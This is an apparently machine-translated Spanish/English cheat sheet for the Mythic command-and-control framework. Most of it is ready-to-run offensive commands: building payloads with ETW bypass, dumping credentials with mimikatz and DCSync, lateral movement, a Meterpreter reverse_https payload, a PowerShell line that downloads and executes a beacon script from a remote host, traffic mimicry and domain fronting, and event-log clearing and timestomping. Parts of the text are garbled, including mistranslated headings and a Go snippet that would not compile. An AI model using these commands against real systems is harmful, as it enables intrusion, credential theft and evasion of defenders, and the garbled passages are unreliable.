Mythic C2 Marco Cheat Sheet
"Clase de la hoja"
########################################################################################################################################################################################################################################################## Copiar todos los comandos
########################################################################################################################################################################################################################################################## Generar PDF seleccionado/button
■/div titulada
Sinopsis
Mythic es un moderno marco de mando y control multiplataforma (C2) diseñado para operaciones de equipo rojo y emulación de adversarios. Construido con una arquitectura containerizzate usando Docker, Mythic proporciona una interfaz web colaborativa, soporta múltiples tipos de carga, y ofrece una amplia personalización a través de su arquitectura basada en agentes con soporte para múltiples lenguajes de programación.
NOVEDAD Advertencia: Esta herramienta está destinada a pruebas de penetración autorizadas y ejercicios de equipo rojo solamente. Asegúrese de tener la autorización adecuada antes de usar contra cualquier objetivo.
Instalación
Prerrequisitos
# Install Docker and Docker Compose
curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh get-docker.sh
sudo usermod -aG docker $USER
# Install Docker Compose
sudo curl -L "https://github.com/docker/compose/releases/download/v2.20.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
# Verify installation
docker --version
docker-compose --version
Instalación mística
# Clone Mythic repository
git clone https://github.com/its-a-feature/Mythic.git
cd Mythic
# Make install script executable
chmod +x mythic-cli
# Install Mythic
sudo ./mythic-cli install
# Start Mythic services
sudo ./mythic-cli start
# Check status
sudo ./mythic-cli status
Configuración rápida
# One-liner installation
curl -sSL https://raw.githubusercontent.com/its-a-feature/Mythic/master/install.sh|bash
# Access web interface
# Navigate to https://localhost:7443
# Default credentials will be displayed during installation
Configuración manual de Docker
# Clone repository
git clone https://github.com/its-a-feature/Mythic.git
cd Mythic
# Build containers
docker-compose build
# Start services
docker-compose up -d
# View logs
docker-compose logs -f mythic_server
Configuración básica
Configuración inicial
# First-time configuration
1. Navigate to https://localhost:7443
2. Login with generated credentials
3. Complete initial setup wizard
4. Configure global settings
# Change default passwords
sudo ./mythic-cli config set MYTHIC_ADMIN_PASSWORD newpassword
sudo ./mythic-cli config set MYTHIC_SERVER_BIND_LOCALHOST_ONLY false
# Restart services
sudo ./mythic-cli restart
Configuración SSL
# Generate SSL certificates
sudo ./mythic-cli config set MYTHIC_SERVER_CERT_PATH /path/to/cert.pem
sudo ./mythic-cli config set MYTHIC_SERVER_KEY_PATH /path/to/key.pem
# Use Let's Encrypt
certbot certonly --standalone -d your-domain.com
sudo ./mythic-cli config set MYTHIC_SERVER_CERT_PATH /etc/letsencrypt/live/your-domain.com/fullchain.pem
sudo ./mythic-cli config set MYTHIC_SERVER_KEY_PATH /etc/letsencrypt/live/your-domain.com/privkey.pem
# Restart with new certificates
sudo ./mythic-cli restart
Instalación del agente
# Install popular agents
sudo ./mythic-cli install github https://github.com/MythicAgents/apfell.git
sudo ./mythic-cli install github https://github.com/MythicAgents/poseidon.git
sudo ./mythic-cli install github https://github.com/MythicAgents/apollo.git
sudo ./mythic-cli install github https://github.com/MythicAgents/merlin.git
# List available agents
sudo ./mythic-cli list
# Start specific agent
sudo ./mythic-cli start apfell
Web Interface Navegación
Dashboard Overview
| Section | Description |
|---|---|
| Operations | Manage operations and campaigns |
| Payloads | Create and manage payload configurations |
| Callbacks | Active agent connections |
| Tasks | Command execution and task management |
| Files | File management and downloads |
| Credentials | Harvested credentials database |
| Artifacts | IOCs and forensic artifacts |
| Reporting | Generate operation reports |
Gestión de operaciones
# Create new operation
1. Navigate to Operations → Create
2. Configure operation parameters:
- Name: Red Team Exercise 2024
- Description: Authorized penetration test
- Admin: [Your username]
- Complete: false
# Operation settings
- Webhook URL: [Slack/Teams integration]
- OPSEC: Enable/disable certain commands
- Logging: Configure audit logging
Creación de carga
Apfell (macOS/Linux) Payload
# Create Apfell payload
1. Navigate to Payloads → Create
2. Select Apfell agent
3. Configure parameters:
- Payload Type: apfell
- C2 Profile: HTTP
- Callback Host: [Your IP/Domain]
- Callback Port: 80
- Callback Interval: 10
- Jitter: 23
# Build options
- Output Format: bash, zsh, osascript, dylib
- Architecture: x64, arm64
- Obfuscation: Enable string obfuscation
Carga de Poseidon (Cross-platform)
# Create Poseidon payload
1. Navigate to Payloads → Create
2. Select Poseidon agent
3. Configure parameters:
- Payload Type: poseidon
- C2 Profile: HTTP
- Callback Host: [Your IP/Domain]
- Callback Port: 443
- User Agent: Mozilla/5.0...
- Sleep: 5
- Jitter: 10
# Advanced options
- Proxy: Configure proxy settings
- Headers: Custom HTTP headers
- Encryption: AES encryption key
Apolo (Windows)
# Create Apollo payload
1. Navigate to Payloads → Create
2. Select Apollo agent
3. Configure parameters:
- Payload Type: apollo
- C2 Profile: HTTP
- Architecture: x64, x86
- Format: exe, dll, shellcode
- Callback Host: [Your IP/Domain]
- Callback Port: 8080
# Windows-specific options
- PPID Spoofing: Enable parent process spoofing
- Block DLLs: Block non-Microsoft DLLs
- ETW Bypass: Enable ETW evasion
Perfiles C2
HTTP Configuración del perfil
\\\\{
"name": "HTTP Profile",
"description": "Standard HTTP communication",
"parameters": \\\\{
"callback_host": "192.168.1.100",
"callback_port": 80,
"killdate": "2024-12-31",
"encrypted_exchange_check": true,
"callback_jitter": 23,
"callback_interval": 10,
"get_uri": "/api/v1/status",
"post_uri": "/api/v1/data",
"query_path_name": "q",
"proxy_host": "",
"proxy_port": "",
"proxy_user": "",
"proxy_pass": ""
\\\\}
\\\\}
Configuración de perfil HTTPS
\\\\{
"name": "HTTPS Profile",
"description": "Encrypted HTTPS communication",
"parameters": \\\\{
"callback_host": "secure.example.com",
"callback_port": 443,
"callback_interval": 30,
"callback_jitter": 15,
"encrypted_exchange_check": true,
"ssl_cert_path": "/path/to/cert.pem",
"ssl_key_path": "/path/to/key.pem",
"headers": [
\\\\{
"name": "User-Agent",
"value": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
\\\\}
]
\\\\}
\\\\}
Perfil WebSocket
\\\\{
"name": "WebSocket Profile",
"description": "WebSocket-based communication",
"parameters": \\\\{
"callback_host": "ws.example.com",
"callback_port": 8080,
"endpoint": "/ws",
"user_agent": "Mozilla/5.0...",
"heartbeat_interval": 30
\\\\}
\\\\}
Agent Management
Interacción de retroceso
# Basic callback commands
help # Show available commands
whoami # Get current user
pwd # Current directory
ls # List directory contents
cd [path] # Change directory
cat [file] # Read file
download [file] # Download file
upload [local] [remote] # Upload file
shell [command] # Execute shell command
Gestión de procesos
# Process operations
ps # List processes
kill [pid] # Kill process
jobs # List background jobs
jobkill [jid] # Kill background job
# Process injection (Apollo)
inject [pid] [shellcode] # Inject shellcode
shinject [pid] [file] # Inject shellcode from file
dllload [dll] # Load DLL
Operaciones provisionales
# Credential harvesting
mimikatz [command] # Execute Mimikatz
logonpasswords # Dump logon passwords
lsadump # Dump LSA secrets
dcsync [user] # DCSync attack
# Token manipulation
steal_token [pid] # Steal process token
make_token [user] [pass] # Create token
rev2self # Revert to self
Movimiento Lateral
# Remote execution
psexec [target] [command] # PSExec execution
wmiexec [target] [command] # WMI execution
smbexec [target] [command] # SMB execution
# PowerShell remoting
invoke_command [target] [command] # PowerShell remoting
enter_pssession [target] # Interactive PS session
# SSH (Poseidon)
ssh [target] [user] [key] # SSH connection
scp [source] [dest] # Secure copy
Características avanzadas
SOCKS Proxy
# Start SOCKS proxy
socks [port] # Start SOCKS4/5 proxy
socks_list # List active proxies
socks_kill [id] # Kill SOCKS proxy
# Use with external tools
proxychains -f /etc/proxychains.conf nmap -sT 192.168.1.0/24
Port Forwarding
# Local port forwarding
portfwd [local_port] [remote_host] [remote_port]
# Reverse port forwarding
rportfwd [remote_port] [local_host] [local_port]
# List active forwards
portfwd_list
# Kill port forward
portfwd_kill [id]
Operaciones de archivo
# File management
mkdir [directory] # Create directory
rm [file] # Remove file
mv [source] [dest] # Move file
cp [source] [dest] # Copy file
chmod [mode] [file] # Change permissions
# Archive operations
zip [archive] [files] # Create zip archive
unzip [archive] # Extract archive
tar [options] [archive] # Tar operations
Network Discovery
# Network reconnaissance
portscan [target] [ports] # Port scanning
ping [target] # ICMP ping
traceroute [target] # Trace route
arp # ARP table
netstat # Network connections
ifconfig # Network interfaces
Automatización y scripting
Automatización de tareas
# Python automation script
import asyncio
import mythic
async def automated_recon(callback_id):
"""Automated reconnaissance on new callback"""
# Basic system information
tasks = [
"whoami",
"hostname",
"pwd",
"ps",
"ifconfig",
"netstat -an"
]
for task in tasks:
await mythic.issue_task(callback_id, task)
await asyncio.sleep(2)
# Credential harvesting if elevated
if await mythic.is_elevated(callback_id):
await mythic.issue_task(callback_id, "mimikatz logonpasswords")
await mythic.issue_task(callback_id, "lsadump")
# Register automation
mythic.register_callback_automation(automated_recon)
Integración Webhook
# Slack webhook integration
import requests
import json
def send_slack_notification(callback_info):
"""Send Slack notification for new callbacks"""
webhook_url = "https://hooks.slack.com/services/YOUR/WEBHOOK/URL"
message = \\\\{
"text": f"New Mythic Callback",
"attachments": [
\\\\{
"color": "good",
"fields": [
\\\\{"title": "Host", "value": callback_info['host'], "short": True\\\\},
\\\\{"title": "User", "value": callback_info['user'], "short": True\\\\},
\\\\{"title": "Agent", "value": callback_info['agent'], "short": True\\\\},
\\\\{"title": "IP", "value": callback_info['ip'], "short": True\\\\}
]
\\\\}
]
\\\\}
requests.post(webhook_url, data=json.dumps(message),
headers=\\\\{'Content-Type': 'application/json'\\\\})
# Configure webhook in Mythic
mythic.set_webhook_callback(send_slack_notification)
Batch Operations
#!/bin/bash
# Batch callback management script
MYTHIC_URL="https://localhost:7443"
API_TOKEN="your_api_token"
# Function to execute command on all callbacks
execute_on_all() \\\\{
local command=$1
# Get all active callbacks
callbacks=$(curl -s -k -H "Authorization: Bearer $API_TOKEN" \
"$MYTHIC_URL/api/v1.4/callbacks"|jq -r '.callbacks[].id')
for callback_id in $callbacks; do
echo "[+] Executing '$command' on callback $callback_id"
curl -s -k -X POST \
-H "Authorization: Bearer $API_TOKEN" \
-H "Content-Type: application/json" \
-d "\\\\{\"command\": \"$command\"\\\\}" \
"$MYTHIC_URL/api/v1.4/callbacks/$callback_id/tasks"
sleep 1
done
\\\\}
# Usage examples
execute_on_all "whoami"
execute_on_all "ps"
execute_on_all "netstat -an"
Agentes aduaneros
Estructura de desarrollo del agente
# Custom agent template
from mythic_payloadtype_container.MythicCommandBase import *
from mythic_payloadtype_container.MythicRPC import *
class CustomAgent(PayloadType):
name = "custom_agent"
file_extension = "py"
author = "@your_handle"
supported_os = [SupportedOS.Windows, SupportedOS.Linux, SupportedOS.MacOS]
wrapper = False
wrapped_payloads = []
note = "Custom Python-based agent"
supports_dynamic_loading = True
async def build(self) -> BuildResponse:
# Build logic here
resp = BuildResponse(status=BuildStatus.Success)
return resp
# Command implementation
class WhoAmI(CommandBase):
cmd = "whoami"
needs_admin = False
help_cmd = "Get current user information"
description = "Execute whoami command"
version = 1
author = "@your_handle"
async def create_tasking(self, task: MythicTask) -> MythicTask:
task.display_params = "whoami"
return task
async def process_response(self, response: AgentResponse):
pass
Agente Comunicación
// Go agent communication example
package main
import (
"bytes"
"crypto/tls"
"encoding/json"
"net/http"
"time"
)
type Agent struct \\\\{
ID string
Host string
Port int
Interval time.Duration
Jitter int
\\\\}
func (a *Agent) Checkin() error \\\\{
checkinData := map[string]interface\\\\{\\\\}\\\\{
"action": "checkin",
"uuid": a.ID,
"ips": getLocalIPs(),
"os": getOSInfo(),
"user": getCurrentUser(),
"host": getHostname(),
"pid": getPID(),
"ppid": getPPID(),
\\\\}
jsonData, _ := json.Marshal(checkinData)
tr := &http.Transport\\\\{
TLSClientConfig: &tls.Config\\\\{InsecureSkipVerify: true\\\\},
\\\\}
client := &http.Client\\\\{Transport: tr\\\\}
resp, err := client.Post(
fmt.Sprintf("https://%s:%d/api/v1.4/agent_message", a.Host, a.Port),
"application/json",
bytes.NewBuffer(jsonData),
)
if err != nil \\\\{
return err
\\\\}
defer resp.Body.Close()
return nil
\\\\}
func (a *Agent) GetTasks() ([]Task, error) \\\\{
// Implementation for getting tasks
return nil, nil
\\\\}
func (a *Agent) SendResponse(taskID string, response string) error \\\\{
// Implementation for sending task responses
return nil
\\\\}
Integración con otras herramientas
Integración Metasploit
# Use Mythic with Metasploit
# Generate Metasploit payload
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=8443 -f exe -o meterpreter.exe
# Upload via Mythic callback
upload meterpreter.exe /tmp/meterpreter.exe
# Execute Metasploit payload
shell /tmp/meterpreter.exe
# Handle in Metasploit
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 192.168.1.100
set LPORT 8443
run
Integración de la sangre
# Collect BloodHound data via Mythic
# Upload SharpHound
upload SharpHound.exe /tmp/sharphound.exe
# Run collection
shell /tmp/sharphound.exe -c All -d domain.local --zipfilename bloodhound.zip
# Download results
download /tmp/bloodhound.zip
# Import into BloodHound
neo4j start
./BloodHound --no-sandbox
Cobalt Strike Integration
# Beacon integration
# Generate Cobalt Strike beacon
# Use Mythic for initial access, pivot to Beacon
# From Mythic callback
shell powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/beacon.ps1')"
# Handle in Cobalt Strike team server
Seguridad operacional
Seguridad de la comunicación
# Domain fronting configuration
# Configure CDN (CloudFlare, AWS CloudFront)
# Set up domain fronting rules
# Update C2 profile with fronted domain
# Certificate management
# Use legitimate SSL certificates
# Implement certificate pinning
# Rotate certificates regularly
Evasión de análisis de tráfico
# Malleable profiles
# Mimic legitimate applications
# Use common user agents
# Implement realistic timing
# Example profile mimicking Office 365
\\\\{
"name": "Office365",
"user_agent": "Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro)",
"get_uri": "/owa/auth/logon.aspx",
"post_uri": "/owa/auth/owaauth.dll",
"headers": [
\\\\{"name": "Accept", "value": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"\\\\},
\\\\{"name": "Accept-Language", "value": "en-US,en;q=0.5"\\\\},
\\\\{"name": "Accept-Encoding", "value": "gzip, deflate"\\\\}
]
\\\\}
Anti-Forenseics
# Event log clearing
shell wevtutil cl System
shell wevtutil cl Security
shell wevtutil cl Application
# Timestomping
shell powershell -c "$(Get-Item file.exe).LastWriteTime = '01/01/2020 12:00:00'"
# Memory cleanup
# Implement secure memory wiping
# Use process migration
# Clear command history
Solución de problemas
Cuestiones comunes
# Callback not connecting
1. Check firewall rules
2. Verify C2 profile configuration
3. Test network connectivity
4. Check DNS resolution
# SSL/TLS issues
# Regenerate certificates
sudo ./mythic-cli config set MYTHIC_SERVER_CERT_PATH /new/path/cert.pem
sudo ./mythic-cli restart
# Container issues
# Check Docker status
docker ps -a
docker logs mythic_server
# Restart services
sudo ./mythic-cli restart
Modo de depuración
# Enable debug logging
sudo ./mythic-cli config set MYTHIC_DEBUG_LEVEL DEBUG
sudo ./mythic-cli restart
# View logs
sudo ./mythic-cli logs
# Database issues
# Access PostgreSQL
docker exec -it mythic_postgres psql -U mythic_user -d mythic_db
# Reset database
sudo ./mythic-cli database reset
Optimización del rendimiento
# Optimize Docker resources
# Increase memory allocation
sudo ./mythic-cli config set MYTHIC_DOCKER_MEMORY 4g
# Optimize callback intervals
# Increase sleep time for stealth
# Reduce jitter for faster response
# Database optimization
# Regular database maintenance
# Index optimization
# Query performance tuning
Buenas prácticas
Planificación operacional
- Pre-engagement setup: Configurar perfiles y agentes antes del compromiso
- Coordinación del equipo: Gestión de operaciones para la colaboración en equipo
- Protolos de comunicación: Establecer canales de comunicación C2 claros
- Manejo de datos: Implementar la recopilación y la exfiltración de datos seguros
- ** Procedimientos de cierre**: Plan de eliminación de artefactos y limpieza operacional
Consideraciones de seguridad
# Secure deployment
# Use strong authentication
# Enable HTTPS with valid certificates
# Implement network segmentation
# Regular security updates
# Agent management
# Use unique agent configurations
# Implement kill dates
# Regular agent rotation
# Secure communication channels
Documentación y presentación de informes
# Operation documentation
# Maintain detailed logs
# Document all activities
# Track compromised systems
# Generate executive reports
# Artifact tracking
# Monitor IOCs
# Document forensic artifacts
# Implement attribution prevention
Recursos
- Repositorio Mythic GitHub
- Mitthic Documentation
- Mithic Agents Repository
- Mythic C2 Profiles
- Red Team Village Mythic Training
-...
*Esta hoja de trampa proporciona una referencia completa para usar el marco Mythic C2. Siempre asegúrese de tener una autorización adecuada antes de realizar operaciones de equipo rojo o pruebas de penetración. *